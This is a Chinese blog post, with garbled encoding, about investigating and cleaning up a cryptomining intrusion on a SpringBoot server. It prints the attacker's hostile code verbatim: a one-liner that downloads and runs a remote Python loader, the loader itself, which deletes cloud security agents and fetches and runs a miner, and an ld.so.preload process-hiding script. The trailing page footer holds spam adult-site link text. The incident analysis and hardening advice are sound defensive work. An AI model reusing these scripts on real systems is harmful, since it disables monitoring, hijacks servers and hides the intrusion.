1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        記一次服務(wù)器被入侵,沒(méi)想到我輕松搞定了它~

        共 13171字,需瀏覽 27分鐘

         ·

        2023-01-11 14:50

        作者:tlanyan
        鏈接:https://itlanyan.com/server-being-hacked-log/ 常在河邊走,哪能不濕鞋。自認(rèn)為安全防范意識(shí)不錯(cuò),沒(méi)想到服務(wù)器被入侵挖礦的事情也能落到自己頭上。 本文簡(jiǎn)要記錄發(fā)現(xiàn)服務(wù)器被入侵挖礦的過(guò)程,同時(shí)分析木馬的痕跡和信息,最后給出解決方法。

        服務(wù)器被入侵挖礦過(guò)程

        事情經(jīng)過(guò)

        昨天是周六,睡得比較晚。玩手機(jī)時(shí)忽然收到阿里云短信和郵件提醒,服務(wù)器有異常行為:

        aa7cd6ff18537780ea4765242b328239.webp

        一看郵件內(nèi)容就知道不得了,趕緊打開(kāi)電腦處理。 首先用 netstat 命令查看端口,發(fā)現(xiàn)一個(gè)異常的端口,但不顯示程序名。這時(shí)心里已經(jīng)很清楚,服務(wù)器上的Java程序被遠(yuǎn)程執(zhí)行代碼(RCE),也許還被植入了 rootkit。

        首要問(wèn)題是保障業(yè)務(wù)正??捎?,于是快速拉起另外一個(gè)實(shí)例,將業(yè)務(wù)遷移過(guò)去。接下來(lái), 首先將被入侵服務(wù)器關(guān)機(jī),然后一步步研究入侵過(guò)程,以及其在服務(wù)器上的行為。

        入侵行為分析

        根據(jù)郵件內(nèi)容,一個(gè) SpringBoot 應(yīng)用被 getshell 并被執(zhí)行遠(yuǎn)程代碼。被執(zhí)行的代碼語(yǔ)句 base64 解碼后為:
            
                
                  python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()
                
              
        將其下載,內(nèi)容如下:
              
                import sysimport osfrom os.path import expanduser
              
              
                ver=sys.version
              
              
                
                  
        shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {}
        rm -rf /usr/local/aegis rm -rf /usr/local/qcloud rm -rf /usr/local/hostguard/bin
        ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs -I {} kill -9 {}
        '''os.system(shs) domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~") gitdir=""try: os.mkdir(homedir+"/.git")except Exception as e: print(e)if os.path.isdir(homedir+"/.git"): gitdir=homedir+"/.git"try: os.mkdir("./.git")except Exception as e: print(e)if os.path.isdir("./.git"): gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"): import urllib.request with urllib.request.urlopen(downloadu) as f: html = f.read() open(gitdir + "/kworkers", 'wb').write(html)else: import urllib2 with open(gitdir + "/kworkers", 'wb') as f: f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read()) f.close()print ("Download Complete!") os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'): os.system(gitdir+"/kworkers")else: os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))

        遠(yuǎn)程代碼主要做了這些事情:

        1. 卸載服務(wù)器上的安全監(jiān)控工具;事后開(kāi)機(jī),發(fā)現(xiàn)阿里云盾果然被卸載了
        2. 關(guān)掉所有kworkers進(jìn)程;
        3. 在當(dāng)前目錄下創(chuàng)建 .git 目錄,下載并執(zhí)行 kworkers 程序。

        上網(wǎng)搜了一下 kworkers,發(fā)現(xiàn)是挖礦應(yīng)用,并非加密勒索等木馬,心里稍微安心一點(diǎn)。通過(guò)阿里云后臺(tái)監(jiān)控,可以看到木馬入侵后,短時(shí)間內(nèi)cpu占用率飆升(本人處理及時(shí),木馬挖礦時(shí)間大概持續(xù)5分鐘左右):

        595ba57fea2e5bcd3d88da9537073c6d.webp

        服務(wù)器殘留痕跡

        大概知道了木馬的行為,接著重啟服務(wù)器,查看服務(wù)器上的痕跡。 1、查看有無(wú)添加定時(shí)任務(wù):
            
                
                  # crontab -l
                
                
                  0 2 * * * /xxx/.git/kworkers
                
              
        木馬添加了定時(shí)啟動(dòng)任務(wù)。 2、進(jìn)入木馬主目錄,發(fā)現(xiàn)下載了如下文件:

        4c4c7e298a8a6f343e4787e380883225.webp

        此外,上層目錄和家目錄還多了 cert_key.pem cert.pem 兩個(gè)文件,分別存放公鑰和密鑰。 3、查看木馬留下的日志,有如下內(nèi)容:
              
                /xxx/.git
              
              
                /xxx/.git
              
              
                working dir /xxx from pid 23684
              
              
                version not exist download
              
              
                Downloaded: http://m.windowsupdatesupport.org/d/download
              
              
                version not exist dbus
              
              
                Downloaded: http://m.windowsupdatesupport.org/d/dbus
              
              
                version not exist hideproc.sh
              
              
                Downloaded: http://m.windowsupdatesupport.org/d/hideproc.sh
              
              
                error exit status 1version not exist sshkey.sh
              
              
                Downloaded: http://m.windowsupdatesupport.org/d/sshkey.sh
              
              
                version not exist autoupdate
              
              
                Downloaded: http://m.windowsupdatesupport.org/d/autoupdate
              
              
                version not exist kworkers
              
              
                Key path not found
              
              
                /xxx/.git
              
              
                passfound  protected
              
              
                passfound  provided
              
              
                passfound  +client
              
              
                passfound  +client
              
              
                passfound  protected
              
              
                passfound  provided
              
              
                passfound  quality
              
              
                passfound  (plus
              
              
                passfound  (digits,
              
              
                passfound  prompt
              
              
                found aksk xxxx xxxx
              
              
                found aksk xxxx xxxx
              
              
                passfound  xxx
              
              
                passfound  xxx
              
              
                passfound  xxx
              
              
                passfound  xxx
              
              
                passfound  xxx
              
              
                passfound  xxx
              
              
                lstat /proc/7776/fd/3: no such file or directory
              
              
                lstat /proc/7776/fdinfo/3: no such file or directory
              
              
                lstat /proc/7776/task/7776/fd/3: no such file or directory
              
              
                lstat /proc/7776/task/7776/fdinfo/3: no such file or directory
              
              
                lstat /proc/7776/task/7777/fd/3: no such file or directory
              
              
                lstat /proc/7776/task/7777/fdinfo/3: no such file or directory
              
              
                lstat /proc/7776/task/7778/fd/3: no such file or directory
              
              
                lstat /proc/7776/task/7778/fdinfo/3: no such file or directory
              
              
                lstat /proc/7776/task/7779/fd/3: no such file or directory
              
              
                lstat /proc/7776/task/7779/fdinfo/3: no such file or directory
              
              
                lstat /proc/7776/task/7780/fd/3: no such file or directory
              
              
                lstat /proc/7776/task/7780/fdinfo/3: no such file or directory
              
              
                lstat /proc/7776/task/7781/fd/3: no such file or directory
              
              
                lstat /proc/7776/task/7781/fdinfo/3: no such file or directory
              
              
                lstat /proc/7776/task/7782/fd/3: no such file or directory
              
              
                lstat /proc/7776/task/7782/fdinfo/3: no such file or directory
              
              
                lstat /proc/7776/task/7783/fd/3: no such file or directory
              
              
                lstat /proc/7776/task/7783/fdinfo/3: no such file or directory
              
              
                restart cmd  /xxx/.git/kworkers
              
              
                /xxx/.git
              
              
                passfound  file,
              
              
                passfound  settings
              
              
                passfound  file.
              
              
                passfound  callbacks
              
              
                passfound  Callback
              
              
                passfound  example
              
              
                passfound  prompt
              
              
                passfound  password
              
              
                passfound  information
              
              
                passfound  token
              
              
                passfound  token
              
              
                passfound  token
              
              
                passfound  Password
              
              
                passfound  password
              
              
                passfound  password
              
              
                passfound  -based
              
              
                passfound  Password
              
              
                passfound  (using
              
              
                passfound  field>
              
              
                passfound  retry
              
              
                passfound  foobar
              
              
                passfound  foobar
              
              
                passfound  foobar
              
              
                passfound  foobar
              
              
                passfound  foobar
              
              
                passfound  password
              
              
                passfound  password
              
              
                passfound  foobar
              
              
                passfound  foobar
              
              
                passfound  secretr
              
              
                total passwords 25
              
              
                xxx.xxx.xxx.xxx
              
              
                lan ip
              
              
                doscan range  xxx.xxx.0.0/16
              
              
                ping...
              
              
                Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309μs
              
              
                working dir /xxx from pid 7792
              
              
                Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973μs
              
              
                xxx.xxx.xxx is alive
              
              
                xxx.xxx.xxx is alive
              
              
                xxx.xxx.xxx:80  open
              
              
                xxx.xxx0xxx:443  open
              
              
                version  same download
              
              
                version  same dbus
              
              
                restart dbus
              
              
                exec again dbus downrun
              
              
                kill process pid 23709
              
              
                
                  
        process completed version same hideproc.sh skip restart hideproc.sh version same sshkey.sh skip restart sshkey.sh version same autoupdate skip restart autoupdate version same kworkers Key path not found
        根據(jù)日志,主要是下載程序,檢測(cè)用戶(hù)名和密碼,探測(cè)內(nèi)網(wǎng),然后啟動(dòng)自動(dòng)更新、隱藏進(jìn)程等程序。
        1. 對(duì) hideproc.sh 感興趣,其內(nèi)容為:
            
                
                  if [ "$EUID" -ne 0 ]  then echo "Please run as root"else
                
                
                    if [ `grep libc2.28 /etc/ld.so.preload`  ]  then echo "hideproc already done!!"
                
                
                    else
                
                
                      apt-get update -y
                
                
                      apt-get install build-essential -y
                
                
                      yum check-update
                
                
                      yum install build-essential -y
                
                
                      dnf groupinstall "Development Tools" -y
                
                
                      yum group install "Development Tools"  -y
                
                
                      curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c
                
                
                  
                    
        gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl mv libc2.28.so /usr/local/lib/ -f grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload rm -f processhider.c ls >/tmp/.1 2>&1 grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload fifi
        其首先檢測(cè)是否root用戶(hù),然后編譯? libc2? 共享庫(kù),注入隱藏進(jìn)程的代碼。這應(yīng)該是用netstat無(wú)法查看到進(jìn)程名的原因。 5、查看訪(fǎng)問(wèn)日志,發(fā)現(xiàn)期間有個(gè)IP對(duì)服務(wù)器進(jìn)行爆破:

        55752263f6fa8203ced2de66f5c02a32.webp

        其他信息

        除了上述文件,/tmp文件夾下還生成了.1和.1.sh文件;

        查詢(xún)可疑ip,位于國(guó)內(nèi)北京市,應(yīng)該是肉雞;

        查詢(xún)木馬下載域名? windowsupdatesupport.org ,今年6月注冊(cè),解析ip都在國(guó)外。該域名很有混淆性,并且為了方便直接用http訪(fǎng)問(wèn);

        除了下載木馬文件挖礦,未改變服務(wù)器上的其他數(shù)據(jù)。

        服務(wù)器被入侵挖礦解決辦法

        雖然知道是 SpringBoot 應(yīng)用觸發(fā)了 RCE,但遺憾目前仍未找到是哪個(gè)包導(dǎo)致的漏洞。目前采取的緩解措施為: 1、被入侵服務(wù)器重裝系統(tǒng);
        2、使用非 root 用戶(hù)啟動(dòng) SpringBoot 應(yīng)用;
        3、被入侵的是子系統(tǒng),增加基本授權(quán):
            
                
                  apt install -y apache2-utils
                
                
                  htpasswd /etc/nginx/conf.d/.htpasswd user
                
              

        然后配置 Nginx 使用認(rèn)證信息:

            
                
                  server {
                
                
                    ...
                
                
                    auth_basic  "子系統(tǒng)鑒權(quán):";
                
                
                    auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
                
                
                    ..
                
                
                  }
                
              

        4、防火墻限制對(duì)外連接。

        上述錯(cuò)誤能一定程度上避免類(lèi)似情況再次發(fā)生,但找到應(yīng)用程序中的漏洞才是接下來(lái)的重點(diǎn)。

        總結(jié)

        幸運(yùn)的是這次來(lái)的是挖礦木馬,服務(wù)器上的程序和數(shù)據(jù)都未受影響。也很感謝阿里云免費(fèi)的安全提醒,讓我在第一時(shí)間處理。

        但這次事故也敲醒了警鐘:

        1. 不要隨意用 root 權(quán)限運(yùn)行程序;
        2. 防火墻權(quán)限要嚴(yán)格收緊;
        3. 做好安全監(jiān)控;
        4. 時(shí)刻做好數(shù)據(jù)備份。

        -End-

        瀏覽 69
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            热久久成人网 | 成人国产激情视频 | www.jiba | 一级片免费的 | 一边吃奶一边做着爱 | 欧美亚洲黄色片 | 91爱搞搞 | 天堂w妖精外观加属性吗 | 天干天干天啦啦夜爽爽色 | 久热在线视频 |